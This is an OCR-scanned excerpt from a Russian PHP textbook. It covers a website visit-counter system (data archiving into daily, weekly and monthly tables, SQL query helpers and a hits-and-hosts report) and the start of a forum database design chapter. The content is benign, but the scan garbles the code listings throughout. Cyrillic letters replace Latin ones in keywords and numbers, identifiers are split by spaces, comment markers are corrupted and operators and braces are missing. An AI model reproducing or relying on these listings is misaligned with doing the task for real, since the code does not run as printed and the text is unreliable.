Глава 24. Система учета посещаемости сайта 1017 ?> de fine ( "MSN_NUМВER" , 20) ; // Если константа принима ет значение О , // попытка получить хост для IP- aдpe ca не производится , // если константа принимает значение 1 - адрес преобразуется . // Значение О применяется для ускорения обработки отчета // по IP- aдpecaм, когда канал сервера не позволяет расшифровать // доменные име на IP- адре сов достаточно быс тро de fine ("HOST_BY_AD DR" , О) ; / / E-mail , на кот.орЫЙ отправляется почтовый отчет de fine ("EМAIL_A DDRESS", "someone@somewhere .ru" ) Как видно из листи нга 24. 12, файл config.pl1p определяет переменную $pnumber, указывающую, скол ько позиций от ображается на стран ице при ис­ пользован ии постраничной навигации; ко нстанты, определяющие, скол ько позиций помещается в архивные табл ицы; константу HOST_ВУ _ADDR, разре­ шающую ил и запрещающую преобразование IР-адреса в до мен, и константу EМAI L_ADDRE SS, определ яющую эл ектронный адрес, на который отправля ют­ ся почто вые отчеты . Помимо файла c0l1fig.pI1p, заголовочный файл topcoul1ter. pl1p включает файл arcl1 ive.pl1p (листинг 24. 13), который осуществляет архивацию дан ных, есл и обнаруживает отсутствие отчета за тот ил и иной период. Этот же файл уда­ ляет из актуал ьных табл иц данные, уже преобразованные в архи вные. Таким образо м, обращение к систе ме приводит к запуску процесса архивации (есл и она требуется). ЗА МЕЧА НИЕ Если к системе адм инистрирования PoweгCounteг не было обращений в те­ чение дл ител ьного времени, процесс архивации может быть не уклады­ ваться в 30 секунд, которые обычно отводятся на выполнение скрипта. Функция set_time_limit (О) , снимающая ограничения по времени, также может оказаться б есполезной, поскол ьку ее часто отключают. Поэто му не­ обходи мо осуществлять регулярное обращение к PoweгCounteг или уста но­ вить сгоп-задание на ежедневное выполнение скрипта aгchive . php. Листинг 24.1 З. Архивация данных, archive.php <?php // Пытаемся снять ограничение на время выполнения архивации @set_time_l imit (O) ;
1018 // Устанавливаем соединение с базой данных requi re_опсе ( "config. php" ) i // Подключаем SoftTime FrameWork Часть 11. Создание сайта require_once ("../ . ./config/class .config .dmn.php " ) ; // Подключаем блок авторизации require_once ("../utils/security_m od .php" ) ; // Подключаем блок отображения текста в окне браузера requi re_once ("../utils/utils .pr int_page .php") ; // Формирование WНЕRE-условий require_опсе ( "utils . where . php" ) ; // Выполнение запроса require_once ("utils . query_result .php" ) ; // Функция для получения последнего заархивированного дня require_once ( "utils . begin_day_a rch .php " ); // Библиотека функций архивации require_once ("ut ils . hits .php " ); requi re_опсе ("utils . ip . php") ; require_once ("utils . client . php " ); require_once ("utils . robots .php " ); require_once ("ut ils . enterpoints .php ") i require_опсе ( "utils . deep . php") ; requi re_once ("utils . time .php " ); require_once ("utils . refferer . php " ); requi re_once ("utils . num _s earch .php" ) ; requi re_o nce ("utils . search . php " ); try // Последний полный день $last_day = mktime (О, О, О, date ("т") , date ("d" ) -1, date ("У" ) ); 1 / Начало архивации данных $begin_day = begin_day_arch ($tbl_ip , $tbl_a rch_clients ) ; // Количество дней , подлежащих архивации $days = ceil (($last_day - $Ьеgiп_dа у) /24/60/60) ; // Блок архиваци и if($days)
Глава 24. Система учета посещаемости сайта 111111111111111111111111111111111111111111111111111 11 Архи вируем информацию в ежедневные таблицы 111111111111111111111111111111111111111111111111111 archive client archive hit hosts archive robots ($tbl ip, $tbl_arch_clients ) ; ($tbl_ip , $tbl_arch_hi ts ) ; ($tbl_ip , $tbl_arch_robots) ; archive_num_s earchque ry ($tbl_s earchque rys , $tbl_a rch_num _s earchquery ); 1019 archive_s earchque ry archive refferer ($tbl_s earchque rys , $tbl_arch_searchque ry) ; ($tbl_re fferer, $tbl_a rch_refferer) ; archive_ip archive_enterpoints archive time arch ive_deep ($tbl_ip " $tbl_arch_ip ); ($tbl_ip , $tbl_pages, $tbl_arch_ent erpoint ); ($tbl_ip , $tbl_arch_time , $tbl_a rch_t ime_t emp ); ($tbl_ip , $tbl_arch_deep ); 111111111111111111111111111111111111111111111111111 11 Удаляем старые записи 111111111111111111111111111111111111111111111111111 $query = "SELECT МAX(putdate ) FROM $tb l_arch_hits "; $arh = mysql_que ry ( $query) ; if ( ! $arh) exit ("Сбой при удалении старых записей" ) ; if (mysql_num_rows ($arh ) > О) $last_date_a rch = mysql_result ($arh, O) ; $ап[] "DELETE FROM $tbl_ip WНERE putdate <= '$last_date_arch ' - INTERVAL 1 DAY" ; $arr [] "DELETE FROM $tbl_re fferer WНERE putda te <= '$l ast_date_arch ' - INTERVAL 1 DAY" ; $arr [] = "DELETE FROM $tbl_searchque rys WНERE putdate <= '$last_date_arch ' - INTERVAL 1 DAY" ; foreach ($arr аз $que ry) if ( !mysql_query ($query) ) { throw new Excepti onМySQL (mysql_e rror () , $query,
1020 Часть /1. Создание сайта "Ошибка вьmолнения запроса " ); /////////////////////////////////////////////////// // Архивируем информацию в еженедельные таблицы /////////////////////////////////////////////////// archive client week ($tb l_arch_clients, $tbl_arch_client s_week) ; ($tbl_arch_hits, $tbl_arch_hits week) ; ($tbl_arch_robots , $tbl_arch_robots_week) ; archive_num_s earchquery_w eek ($tbl_a r ch_num_s earchquery, archive hit hosts week archive robots week archive refferer week archive_ip_week archive_s earchque ry_week archive time week archive_deep_week $tbl_arch_num _s earchque ry_we ek) ; ($tbl_a r ch_refferer, $tbl_arch_refferer_w eek) ; ($tbl_arch_ip , $tbl_a rch_ip _week) ; ($tbl_a r ch_s earchque ry, $tb l_arch_s earchque ry_week) ; ($tb l_arch_enterpoint , $tbl_arch_ent erpoint_week) ; ($tbl_a rch_time , $tbl_arch_time_week) ; ($tbl_arch_deep , $tbl_a rch_deep_week) ; //////////////////////////////////11/ 1111///11///11 / / Архивируем информацию в ежемесячные таблицы //1111/ 11/ 11111/////1111111/ 1 ) 111111/ 1 / 111111///111 archive clients month archive hit hosts month ($tbl_arch_clients , $tbl_a rch_clients_month ); ($tbl_arch_hits , $tbl_arch_hits_mon th ) ; archive robots month ($tbl_arch_robots , $tbl_arch_robots_month ); archive_num_s earchque ry_m onth ($tbl_a rch_num_s earchque ry, archive refferer month $tbl_a rch_num_s earchque ry_month ) ; ($tbl_arch_ refferer, $tbl_a rch_ refferer_month) ;
Глава 24. Система учета посещаемости сайта 1021 ?> archive_ip_rnonth archive_s earchque ry_rnonth archive_ent erpoints_rnonth archive tirne rnonth catch ( Except ionObj ect $ехс ) ($tbl_arch_ip , $tbl_ar ch_ip_rnon th ) ; ($tbl_arch_s earchque ry , $tbl_arch_s earchque ry_rnonth ); ($tbl_arch_ent erpoint , $tbl_a rch_ent erpoint_rnonth ); ($tbl_arch_tirne , $tbl_a rch_tirne_rnonth ); ($tbl_arch_de ep , $tbl_arch_deep_rnon th ) ; require (" . ./utils/exception_obj ect . php ") ; catch ( ExceptionМySQL $ехс ) requi re (" ../utils/exception_rnys ql .php ") ; catch ( ExceptionМernber $ехс ) requi re (" ../utils/exception_rnernbe r.php ") ; Как ВИДНО из листинга 24. 13, скрипт проверяет по табл ице $tbl_a rch_c lients дату последней ежедневной архивации. Если с этого мо­ мента прошло более суток, запускается ежедневная, еженедел ьная и еже ме­ сячная архивация дан ных. В каждой из функций также имеется аналогичная проверка. В файле archive.pllp такая проверка применяется дл я увеличения быстродействия системы - проверить одну табл ицу проще, чем каждый раз выполнять 30 проверок, происходящих при архивации данных. Функции архивации для всех сервисов однотипны; рассмотрим более под­ робно архивирующие функции на примере сервиса "Хосты и хиты ". Еже­ дневную архивацию выполняет функция archive_hit_hosts ( ) из файла uti ls.blts .php (листинг 24 .14). Функция принимает в качестве первого аргу­ мента табл ицу с актуал ьными данными $tbl_ip, а в качестве второго аргу­ мента - табл ицу для архивных дан ных $tbl_arch_ hi ts.
1022 Часть 11. Создание сайта Листинг 24. 14. Суточная архивация хитов и хостов, ФУНКЦИЯ archive_hit_hosts () <?рЬр // ФУНКЦИЯ суточной архивации funct ion archive hit_hosts ($tbl_ip , $tbl_arch_hits} // Последний полный день $last_day = mktime (О, О, О, date ("m") , date ("d" ) -1, date ("У"} ); // Начало архивации данных $begin_day = begin_day_arch ($tbl_ip , $tbl_arch_hits) ; 1/ Количество дней , подлежащих архивации $days = cei1 (($last_day - $Ьеgiп_dа у} /24/БО/БО} ; // Блок архивации if ($days ) ( for ($i=$days-1;$i>=О;$i--) $end = " putdate LlКE '''о date ( "Y-m -d" , $last_day - $i*24*3БОО} ."%''' ; // Обще е количество хитов за сутки $ que ry_tota1_hi t "SELECT COUNT (*) FROM $tbl_ip WHERE $end" ; / / Засчитанные хиты за сутки $que ry_hit = "SELECT COUNT ( *} FROM $tbl_ip WНERE systems != 'попе ' AND $end" ; // Подсчитываем количество IP-адресов (хостов ) за сутки $query_tota1_host "SELECT COUNT (DISTINCT ip } FROM $tbl_ip WHERE $end" ; // Подсчитываем количество чистых IP-адр есов (хостов ) за сутки $que ry_host "SELECT COUNT (DI STINCT ip } FROM $tbl_ip WHERE systems != 'попе ' AND systems != 'robot_yandex ' AND systems != 'robot_google ' AND systems != 'robot ramb1er ' AND systems != 'robot_aport ' AND systems != 'robot msnbot ' AND $end" ;
Глава 24. Система учета посещаемости сайта // Формируем запрос ДЛЯ архиваци и хи тов и хостов // В таблицу $tbl_a rch_hits $totalhists $hists $totalhosts $hosts $sql_hits [ ] query_result ($query_total hit) ; que ry_result ($query_h it) ; que ry_result ($query_total_ho st) ; query_result ($query_h ost ) ; "(NULL , '''.date ( ' 'Y-m -d '' , $last_day - $i*24*З6ОО) ."', $totalhosts, $ho sts , $totalhists , $hists) "; if (!empty ($sql_h its ) ) ( $query = "INSERT INTO $tbl_arch_hits VALUES ".implode (", ", $sql_hits ); if ( !mysql_query ($query) ) ( throw new Excepti onМySQL (mysql_e rror () , $query, "Ошибка суточной 1023 архиваци и - archive_hit_hosts () ") ; ?> Как видно из листинга 24. 14, в начале создаются временные метки $last_day - предыдущие сутки (ближайшие истекшие сутки, за кото рые можно сформировать отчет) и $begin_day - последние сутки, за кото рые уже имеется отчет. Если разница между этими двумя датами больше нуля - запускается процесс архиваци и. Для этого используется цикл for (), пробе­ гающий знач ения от даты последнего отчета до текущей даты . Для каждых суток извлекается кол ичество хитов ( $query_total_hit), хостов ($query_ total_ho st), а также засчитанных хитов ( $query_h it) и ХОСТО В ($query_ho st) .
1024 Часть 11. Создание сайт а ЗА МЕЧА НИЕ Н апомним , что хостом называется обращен ие с од ного ' Р-адреса , а хи­ том - загрузка од ной из стра ниц саЙта . При это м засчитанными хиты и хосты сч итаются , если они осуществлялись люд ьми, а не интеллектуаль­ ными агентами (роботами). Для подсчета кол ичества записей испол ьзуется MySQL-функция COUNT ( ) , которая допускает использование ключевого сл ова DISTINCT, указывающего на необходимость извлечения из табл ицы тол ько уникальных значений. Так как запрос заведомо возвращает лишь одно значение, оно извлекается при помощи специальной функции qu ery_ result () (л исти нг 24 . 15), определ ен­ ной в файле lItils.qllery_reslllt.php. Из полученных данных формируется фрагмент многострочного IN SERT­ запроса, который помещается в масс ив $sql_hi ts. Есл и массив не пуст, его эл ементы объединяются в единую строку при помощи функции implode ( ) , формируя конечный запрос на добавление дан ных в архивную табл ицу. Листинг 24.15. Вы полнение SQL-запрос а, возвращающего ед инственное значение <?php ?> function qu ery_re sult ($que ry) $tot = my sql_que ry ($que ry) ; if (!$tot ) throw new Excepti onМySQL (mysql_e rror () , $query, " Ошибка вьmолнения запроса ") ; return @mysql_result ($tot , О ); else return false ;
Глава 24. Система учета посещаемости сайта 1025 Для получения последней даты $begin_d ay, когда выполнялась архивация , использовалась функция begin_day_a rch (), которая принимает в качестве первого параметра табл ицу-источник дан ных, а в качестве второго пара­ м етр - конечную архивную табл ицу, где размещаются отчеты . Кроме того, функция может принимать третий необязател ьный параметр $column · дл я и мени столбца в архивной табл ице: он необходим для еже недельных табл иц, где приходится ориентироваться на стол бец begin_p utda te, тогда как все остальные табл ицы оперируют ед инственным стол бцом с именем putdate. В листинге 24. 16 приводится реал изация функции begin_day_a rch (). Листинг 24.16. Определение последне й даты, когда выполнялась архивация, функция begin_day_arch () <?php function begin_day_a rch ($tbl , $tbl_arch, $column / / Месяц if (sub str ($tbl_arch , -5) == 'month ') $interva l = '+ INTERVAL 1 MONTH '; // Неделя if (sub str ($tbl_arch, -4 ) == 'week ') $interva l = '+ INTERVAL 1 WEEK' ; 'putdate ' ) // Получаем последню ю дату , когда выполнялась архивация $query = "SELECT UNIX_TIМE STAМP (МAX ( $column {$interva l ))) FROM $tbl_a rch" ; $last_da te = query_result ( $que ry) ; if (empty ($last_d ate )) $query = "SELECT UN IX_TIМESTAМP (MIN (putdate )) AS data FROM $tb l" ; $begin_date = que ry_result ($query) ; if (!emp ty ( $begin_date )) // Если запуск первый - берем дату из $tbl $last_da te $begin_d ate ; else // Иначе берем текущие сутки
1026 Часть 11. Создание сайта time (); return $last_date; ?> Структура функци и archive hit hosts_week (), архивирующей хиты и хос­ ты за недел ю, очень походит на структуру функции archive _ hi t_hosts (), с то й разницей, что в качестве первого параметра она принимает табл ицу с суточными отчетами $tbl_a rch_hits, а в качестве второго - табл ицу дл я недел ьных отчетов $tb l_a r ch_hits_week. В листинге 24. 17 приводится реа­ лизация функции archive_hit_hosts_we ek () . Л и стинг 24.17. Еженедельная архивация хитов и хостов, функция archive _ hi t_hosts _ week () <?php // ФУНКЦИЯ недель ной архивации func tion archive hit hosts week ($tbl_arch_hits , $tbl_a rch_hits_we ek) // Последний полный день $last_day = mktime (O, О, О, date ("m") , date ("d ") -l, date ("Y ") ); // Начало архивации данных $begin_day begin_day_arch ($tbl_arch_hits , $tbl_arch_hits_week, 'putdate_begin '); // Вычисляем, сколько недель прошло с даты последней архиваци и $week = f1oor (($ last_day - $Ьеgiп_dа у) /24/БО/БО/7); // Если прошло боль ше недели - архивируем данные if ($week > О) // $begin_day - дата последней архиваци и ... - смотрим, далеко ли до // конца недели (воскресенье) . Интервал включает данные // с понедель ника (1) по воскресень е (О) . $weekday = date ('w' , $begin_day ); // Текущему времени приравниваем начальную точку $current_date = $begin_d ay; whi 1e (f1oor (($ last_day - $сurrепt_dа tе )/24/БО/БО/7) )
Гл ава 24. Система учета посещаемости сайта 1027 ?> $end = "FROM $tbl_arch_hits WНERE putdate > '''.date ( ''Y-m-d'' , $current_date } .'" мо putdate <= '''.date ( ''Y-m-d'' , $current_date + 24*3600* (7 - $weekday} } ."'''; // Подсчитываем количество обращений за неделю $total_hit query_re sult ("SELECT SUМ (hits_t otal } $end" }; $hit query_result ("SELECT SUМ (hits } $end " }; $total_host query_result ("SELECT SUМ (hosts_total } $end " }; $host query_result ("SELECT SUМ (ho st } $end" }; $sql_hits [] "(NULL, '".date ("Y-m-d" , $current_date} ."', '''.date ( ''Y-m- d'' , $current_date + 24*3600* (7 - $weekday) }.'' ', $total_hos t, $hos t, $total_hit , $hit} "; // Увеличиваем текущее время до следующей недели $current_date += (7 - $weekday) *24*3600 ; $weekday = О; // Далее идут циклы по целой неделе // Формируем окончатель ные запросы и выполняем их if ( !empty ($sql_hits) } { $query = "INSERT INTO $tbl_arch_hits_week VALUES" .imp lode (",", $sql_hits } ; if ( !mysql_que ry ($query) ) { throw пеw Excepti onМySQL (mys ql_e rror (} , $query, "Ошибка недель ной архивации - archiveyi t_hosts_week (} "} ;
1028 Часть 11. Создание сайmа Как видно из листинга 24. 17, вместо цикла for () испол ьзуется цикл wh ile (), каждая итерация которого соответствует одной недел е. Для формирования месячных отчетов испол ьзуется функция archive _ hi t_hosts_month ( ), которая принимает в качестве первого парамет­ ра табл ицу $tb l_arch_hits С суточными отчетам и, а в качестве вто рого ­ табл ицу $tbl_a rch_h its_month, предназначенную для месячных отчетов (л исти нг 24. 18). Листинг 24. 18. Ежемесячная архивация ХОСТОВ и ХИТОВ, ФУНКЦИЯ arch�ve_hi t_h osts_month () <?php 11 Функция архиваци и хостов и хи тов В месячные таблицы function archive_hit_ho sts_mon th ($tbl_a rch_hits , $tbl_a rch_hits mo nth ) 11 Последний полный день $last_day = mktime (O, О, О, date ("m") , date ("d ") -l, date ("Y ") ) + 2; 11 Начало архивации данных $begin_day = begin_day_arch ($tbl_a r ch_hits , $tb l_arch_hits_mo nth ); // Вычисляем, сколь ко ме сяцев прошло с даты последней архивации $month = (floor (date ("Y ", $ l ast_d ay) - date ("Y" , $begin_da y) ))*12 + f1oor (date ("m ", $ last_d ay) - date ("m" , $begin_d ay) ); 11 Если прошло больше ме сяца - архивируем данные if ($month > О) // Архивируем данные по всем месяцам, по которым архивация // не проводилась for ($i date ("Y" , $begin_day )*12 + date ("m" , $begin_day ); $i < date ("Y ",$last_da y) *12 + date ("m ", $ last_day) ; $i++ ) $year = (int ) ($i/12) ; $month = ($i%12) ; if ($month == О) $year--; $month = 12 ;
Глава 24. Система учета посещаемости сайта 1029 ?> $end = " FROM $tbl_arch_hits WHERE YEAR (putdate ) = $year AND MONTH (putdate ) = '''.sprintf (''%02d'' , $month) ."''' ; // Подсчитываем количество обращений за ме сяц $tota1_hit $hit $tota1_ho st $host que ry_re sult ("SELECT SUМ ( hits_total ) $end" ); que ry_result ("SELECT SUМ (hits ) $end" ); query_result ("SELECT SUМ (hosts_total ) $end" ); que ry_result ("SELECT SUМ (host ) $end" ) ; // Формируем запрос для архивной таблицы $sql_hits [] "(NULL , '$year-" . sprintf ("%02d" , $month) ."-0 1', $total_h ost , $hos t, $tota1_hit, $hit) "; // Формируем окончатель ные запросы и выполняем их if ( !empty ($sq1_hi ts ) ) $query = "INSERT INTO $tbl_arch_hits_mo nth VALUES ".impl ode (", ", $sql_hits ) ; if ( !mys ql_que ry ($query) ) throw new Excepti onМySQL (mys ql_e rror () , $query, "Ошибка месячной Дан ные из актуальной табл ицы $tbl_ip и архивных табл иц $tb l_a rch_hits, $tbl_a r ch_hits_week, $tbl_a r ch_hits_mo nth используются дл я формирова­ ния отчетов. Границы временных интервалов ("Сегодня " , "Вчера" , "За 7 дней" , "За 30 дней" и "За все время") задаются в файле tiшеj l1tегvаl.рl1р (л истинг 24. 1 9), кото рый содержит смешанный двумерный массив $time , первый индекс кото рого яв-
1030 Часть 11. Создание сайmа ляется числовым, а вто рой - ассоциати вным. Значение первого индекса из� меняется от О до 4. Второй индекс принимает два знач ения: begin И end дл я начала и ко нца интервала соответственно. Листинг 24. 19. Временные интервалы, time_i nterval.php <?рЬр ?> // Массив временных интервалов // "Сегодня" $time [O] ['begin' ] = 1; $time [О] ['end '] = О; // "Вчера" $time [l] ['begin' ] = 2; $time [l] ['end '] = 1; // "За 7 дней" $time [2] ['begin' ] = 7; $time [2] ['end '] = О; // "За ЗО дНей" $timе [З] ['begin' ] = ЗО; $time[З]['end'] = О; // "За все время " $time [4] ['begin' ] = О; $time[4]['end'] = О; Граница интервала задается по следующим правилам : это количество дней, которое необходимо вычесть из текущей даты, поэтому в пределах каждого из интер валов значение элемента begin должно быть больше ил и равно зна­ чению элемента end. Так, дл я интервала "Вчера" начало ( $time [1] [ 'begin ' ] ) соответствует дате два дня назад, а конец ( $ t ime [ 1] [ , end" ] ) интервала ­ один день назад. Для удобства формирования отчета "Хиты и хосты" создадим функцию show_ip _host () (л истинг 24.20), которая будет принимать в качестве первого параметра начало временного интервала $begin, а в качестве второго - ко ­ нец временного интервала $end. В результате функция будет возвращать мас­ сив из четырех знач ений: О общее кол ичество хитов $Мts_tota1; О засчитанное количество хитов $М ts;
Глава 24. Система учета посещаемости сайта о общее количество хостов $hosts_t ota1; О засчитанное количество хостов $hosts. Листин г 24.20. Функция ЗhОW_iр_hоз t О, файл hits .php <?php function show_ip_ho st ( $begin = 1, $end = О) // Объявляем имена таблиц глобальными globa1 $tb l_arch_hits , $tbl_a rch_hits_month , $tbl_ip ; // Обнуляем хиты и хосты $hosts_t ota1 О; $hosts О; $hits_t ota1 О; $hits О; ////////////////////////////////////////////////////////// // Исходим из таблицы соответствия // begin end // сегодня // вчера // неделя // ме сяц 1 2 7 ЗО О - извлекаем из $tbl_ip 1 - извлекаем из $tbl_arch_hits О - извлекаем из $tb l_arch_hits О - извлекаем из $tbl_arch_hits // все время О О - извлекаем из $tbl_a rch_m onth ////////////////////////////////////////////////////////// // Формируем WНЕRE-условие для временного интервала $where = whe re_interva1 ( $begin, $end ) ; // Сегодня if($begin == 1 && $end == О) // Общее количе ство хитов $que ry_hit_tota1 = "SELECT COUNT (*) // Засчитанные хиты FROM $tbl_ip $where "; "SELECT COUNT (*) FROM $tbl_ip $where AND systems !='none ' AND systems NOT LlКE 'robot_% ' '' ; 1031
1032 Часть 11. Создание сайта // Подсчитыв аем количество IP-адресов (хостов ) $que ry_ho st_total= "SELECT COUNT (DISTINCT ip ) FROM $tbl_ip $whe re "; // Подсчитываем количество уникальных посетителей за сутки $query_host "SELECT COUNT (DISTINCT ip ) FROM $tbl_ip $whe re AND systems !='none ' AND systems NOT LlКE 'robot return array ( que ry_result ($query_hit_t otal ) , query_result ($query_h it ), query_re sult ($query_h ost_total) , que ry_result ($query_ho st ) ); // Все время if($begin == О && $end О) // Обще е количество хи тов g,'П_ о , $query_h it_total = "SELECT SUМ ( hits_total ) FROM $tbl_arch_hits "; // Засчитанные хиты = "SELECT SUМ (hits ) FROM $tbl_a rch_hits "; // Подсчитыв аем количество IP-адресов (хостов ) $query_host_t otal= "SELECT SUM (hosts_t otal ) FROM $tbl_a rch hits "; // Подсчитыв аем количество уникальных посетителей "SELECT SUМ (ho st) FROM $tbl_arch_hits "; // Если запросы выполнениы удачно , // получаем результат $hits_total += que ry_result ($query_hit_total) ; $hits += query_re sult ($query_hit ) ; $hosts total += que ry_result ($query_ho st_t otal ) ; $hosts += query_result ($query_h ost ) ; // Получаем самое старое число из таблицы $tb�_a r ch_hits , // все , что позже , берем из таблицы $tb l_arch_hits_month $query = "SELECT UNIX_T lМESTAМP (MIN (putdate )) AS data FROM $tbl_arCh_hits ";
Гл ава 24. Система учета посещаемости сайта $last_day = que ry_result ($query) ; if ($last_da y) $where = "WНERE putdate < ' '' . date ( ''Y-m-Оl'', $last_date ) . " ' '' ; // Общее количество хитов "SELECT SUM (hits_total ) FROM $tbl_arch_hits_mo nth $where "; // Засчитанные хиты "SELECT SUМ (hits) FROM $tbl_arch_hits_mo nth $where "; // Подсчитываем количество IP-адре сов (хостов ) $query_ho st_total= "SELECT SUМ (hosts_t otal) FROM $tbl_arch_hit s_mo nth $where "; // Подсчитываем количество уникальных посетителей за сутки "SELECT SUМ (ho st ) FROM $tbl_arch_hits month $whe re "; // Если запросы выполнены удачно , // получаем результат $hits_total += que ry_result ($que ry_hit_total) ; $hits += que ry_result ($query_h it ) ; $hosts total += query_result ($que ry_host_total) ; $hos ts += query_result($query_h ost ) ; // Общий случай else // Общее количество хи тов "SELECT SUМ ( hits_total ) FROM $tbl_arch_hits $whe re "; // Засчитанные хиты "SELECT SUM (hits) FROM $tbl_arch_hits $where "; // Подсчитыв аем количе ство IP-адре сов (хостов ) $query_host_t otal= "SELECT SUM (hosts_t otal ) 1033
1034 Часть 11. Создание сайта ?> // Подсчитываем количе ство уникальных посетителей за сутки "SELECT SUМ (host ) FROM $tb l_arch_hits $where "; // Если запросы выполнениы удачно , // получаем результат $hits_t otal += query_result ($query_h it total) ; $hits += que ry_result ($query_h it ) ; $hosts_t otal += query_result ($query_host_total ) ; $hosts += query_result ($query_h ost) ; // Возвращаем результат rеturп array ( $hits_tota l, $hits , $hosts_t otal, $hosts ); Функция show_ip_host () условно дел ится на три бл ока: О подсчет данных за текущие сутки; для этого осуществляются запросы к табл ице роwе rсоuпt еr_iр ( $tbl_ip); О подсчет данных за весь период; для этого подсч итываются данные из табл иц роwе rсоuпtеr_а r сп_hits ($tbl_a r ch_hits) и powercounte r_a rch_hits_mo nth ( $tbl_arch_hits_mo nth) ; о подсчет данных в произвольном интервале; для это го испол ьзуется тол ь­ ко табл ица rJO wercounter_arch_hits ( $tbl_arch_hits) . Теперь можно присту пить к формированию отчета "Хосты и хиты " (лис­ ти нг 24.2 1). Листинг 24.21 . Отчет "Хосты и хиты", файл hits. /)hp <?php // Устанавливаем соединение с базой данных requi re_once ("config . php " ); // Подключаем SoftTime FrameWork requi re_once ("../ ../config/class .config .dmn.php ") ; // Подключаем блок авторизаци и requi re_once ("../utils/security_mo d .php" ) ; // Подключаем бл ок отображения текста в окне браузера requi re_once ("../utils/utils . print_page .php ") ;
Глава 24. Сцстема учета посещаемости сайта // Формирование WНЕRE-условий require_once ("ut ils .where . php " ); / / Выполнение запроса requi re_once ("ut ils . query_result .php ") ; $titlе= ' Хосты&nbsр ;и& nb sр ; хиты' ; $pageinfo= 'Ha этой странице вы видите общую статистику по посетителям саЙта . <br><b>XoCTbl< /b> - это количество уникальных посетителей Ваше го сай та, <Ь>хиты< /Ь> - это общее количество показов саЙта . <Ьr>При переходе по ссылкам "<Ь>Сегодня< /Ь>", "<Ь>Вчера< /Ь> " отображается деталь ная почасовая статистика посещений за выбранный день . при переходе по ссылкам "<Ь>За 7 дней< /Ь> " и "<Ь>За 30 дней </Ь> " отображается деталь ная суточная статистика за эти периоды времени . '; try ?> // Включаем заголовок страницы require_once (" . ./utils /topcounte r.php ") ; // Включаем ма ссив временных интервалов require_once ("time_interval . php '; ) ; // Запрашиваем данные за пять временных интервалов, // определенных в файле time_i nterval .php for($i=О;$i< 5;$i++) list ( $hits_t otal [$i] , $hits [$i] , $hosts_total [$i] , $hosts [$i] ) = show ip_host ($time [$i] [ 'begin' ], $time [$i] ['end ' ]); <table class="table" width="100%" borde r="O" 1035
1036 ce11padding= " О " ce11spacing="0"> <tr c1ass="header" a1ign="center"> Часть 11. Создание сайта <td width=<?= 100/6 ?>% a1ign=center>&nbsp i</td> <td width=<?= 100/6 ?>% а1igп=сепtе r>Сегодня< /td> <td width=<?= 100/6 ?>% а1ign=сепtеr>Вчера</td> <td width=<?= 100/6 ?>% a1ign=center>3a <td width=<?= 100/6 ?>% a1ign=cent er>3a <td width=< ?= 100/6 ?>% a1ign=cent er>3a </tr> <tr><td с1аs s=fiе1d>3асчитанные xOCTbl< /td> <?php foreach ($hosts as $va1ue ) 7 дней</td> 3О дней</td> все время</td> echo "<td a1ign=center><p> $va1ue</p></td>"; ?> </tr> <t r><td c1as s=fie1d>XocTbl< /td> <?php foreach ($hosts_t ota1 as $va1ue ) echo "<td a1ign=center><p>$va 1ue</p>< /td>"; ?> </tr> <tr><td с1аss=fiе1d>3асчит анные хиты< /td> <?php foreach ($hits as $va1ue ) echo "<td a1ign=cente r><p>$va1ue</p></td>"; ?> </tr> <tr><td с1аss=fiе1d>Хиты< /td> <?php foreach ($hits_t ota1 as $va1ue ) echo "<td a1ign=center><p>$va1ue</p></td>" ; ?> </tr> </table> <?php // Включаем завершение страницы require_once (". ./uti1s /bottomcounter .php ") ;
Гл ава 24. Система учета посещаемости сайта 1037 catch ( ExceptionObj ect $ехс ) require (" ../utils / excepti on_obj ect .php ") ; catch ( ExceptionМySQL $ехс ) requi re (" . ./utils/exception_my s ql . php " ); catch ( ExceptionМember $ехс ) require ("../utils/exception_member .php ") ; ?> Функция show ip host () вызывается из файла time_il1terval . pI1p (лис­ тинг 24. 19) в цикле для BpeMeHНI�IX интервалов. Полученные результаты по­ мещаются в четыре массива: $hits_t otal, $hits, $hosts_t otal И $hosts для общего кол ичества хитов, засчитан ных хитов, общего кол ичества хостов и засчитанного количества ХОСТОВ соответственно. Далее формируется резуль­ тирующая таблица, каждая строка кото рой выводится при помощи цикла foreach, пробегающего по элементам одного из массивов: $hi ts total, $hits, $hosts_t otal и $hosts.
Глдвд 25 Форум: проектирование в ближайших главах будет разрабатываться форум LiteForul1 1 . В отличие от гос­ тевой книги, основное назначение которой - поддержка обратной связи с посе­ тителями ресурса, форум предполагает более тесное общение с возможностью вести дискусс ию. Каждый посетитель может завести тему по интересующему его вопросу, в кото рой он и другие посетители смогут оставлять сообщения. При это м движок форума должен обеспечивать следующие функции: О регистрацию и обновление регистрационных дан ных участн иков форума; О надежную авторизацию; О возможность добавлять новые те мы и сообщения как зарегистрирован­ ным, так и незарегистрированным посетителям, а таюке обеспечить про­ зрачную навигацию по уже созданным тем ам; О оповещение посетителей о новых темах; О полнотекстовый поиск как по загол овкам те м, так и по сообщениям; О сервисы : отправка письма при добавлении новой темы; отправка письма посетителю с форума; вывод списка участников, находящихся в онлайн; вывод полного списка участников и др.; О возможность быстрой смены дизайна форума (переключение скина (skins» ; О поддержка нескольких разделов и возможность быстрого перехода между ними; о предоставлять участникам выбор режима представления информации: структурный (лестничный) ил и линейный (с прямой и обратной сорти­ ровкой сообщений); О поддерживать теги форматирования текста.
Глава 25. Форум: проекmирование 1039 Форум должен обл адать гибкой системой адм инистр ирования, выпол няющей следующие функции: С] простое развертыван ие одного ил и нескол ьких форумов на сервере (ин- сталляция); С] создание нескольких раздел ов в форуме; С] модерирование; С] предоставление статистической информации по форуму; С] предоставление информации об участни ках форума; С] настройка форума: количество выводимых на одной стран ице тем, мак­ симальный размер прикрепляемого к сообщению файла и фотографии посетителя, срок действия cookie, переключение скинов и др. 25.1 . Проекти рование баз ы данных База данных форума LitеFоrшn будет состоять из одиннадцати табл иц: С] liteforwn_authors - дан ные зарегистрированного посетител я форума; С] liteforwn_ forwns - раздел ы форума; С] litefo rWn_last_t ime - вспомогател ьная табл ица дл я отслеживания но- вых тем в разделах форума; С] liteforwn_t heme s -темы форума; С] liteforwn_posts - сообщения форума; С] liteforwn_ person ally -табл ица дл я отслеживания личных сообщений; С] liteforwn_ links - посл едн ие новости на форуме; С] liteforwn_s ettings - настройки форума; С] litefo rwn_a rchive_number - номер последней те мы в архиве; С] litefo rwn_a rchive_th eme s - архивные те мы; С] liteforwn_a rchive_posts - архи вные сообщения. Посетител и форума могут инициировать новые темы для обсуждения и до­ бавлять сообщения как после регистрации на форуме, так и без нее. Зареги­ стрировавшемуся посетителю гарантируется, что его 